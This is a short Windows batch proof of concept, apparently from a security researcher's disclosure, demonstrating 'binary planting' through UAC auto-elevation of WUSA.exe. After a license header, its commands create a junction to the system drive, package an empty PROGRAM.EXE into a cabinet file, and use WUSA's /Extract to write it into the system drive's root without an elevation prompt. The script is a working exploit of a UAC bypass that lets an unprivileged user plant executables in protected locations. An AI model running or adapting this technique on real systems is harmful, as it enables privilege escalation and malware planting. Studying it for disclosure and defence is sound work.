Rem PROGRAM.CMD Rem Demonstrate "binary planting" per UAC auto-elevation of WUSA.Exe Rem Copyright (C) 2009-2018, Stefan Kanthak Rem * The software is provided "as is" without any warranty, neither express Rem nor implied. Rem In no event will the author be held liable for any damage(s) arising Rem from the use of the software. Rem * Redistribution of the software is allowed only in unmodified form. Rem * Permission is granted to use the software solely for personal private Rem and non-commercial purposes. Rem * An individuals use of the software in his or her capacity or function Rem as an agent, (independent) contractor, employee, member or officer of Rem a business, corporation or organization (commercial or non-commercial) Rem does not qualify as personal private and non-commercial purpose. Rem * Without written approval from the author the software must not be used Rem for a business, for commercial, corporate, governmental, military or Rem organizational purposes of any kind, or in a commercial, corporate, Rem governmental, military or organizational environment of any kind. MkLink /J "%TEMP%\SystemDrive" "%SystemDrive%\" Copy NUL: "%TEMP%\PROGRAM.EXE" "%SystemRoot%\System32\MakeCAB.Exe" "%TEMP%\PROGRAM.EXE" "%TEMP%\PROGRAM.CAB" Erase "%TEMP%\PROGRAM.EXE" "%SystemRoot%\System32\WUSA.Exe" "%TEMP%\PROGRAM.CAB" /Extract:"%TEMP%\SystemDrive" Erase "%TEMP%\PROGRAM.CAB" RmDir "%TEMP%\SystemDrive" Dir "%SystemDrive%\PROGRAM.EXE"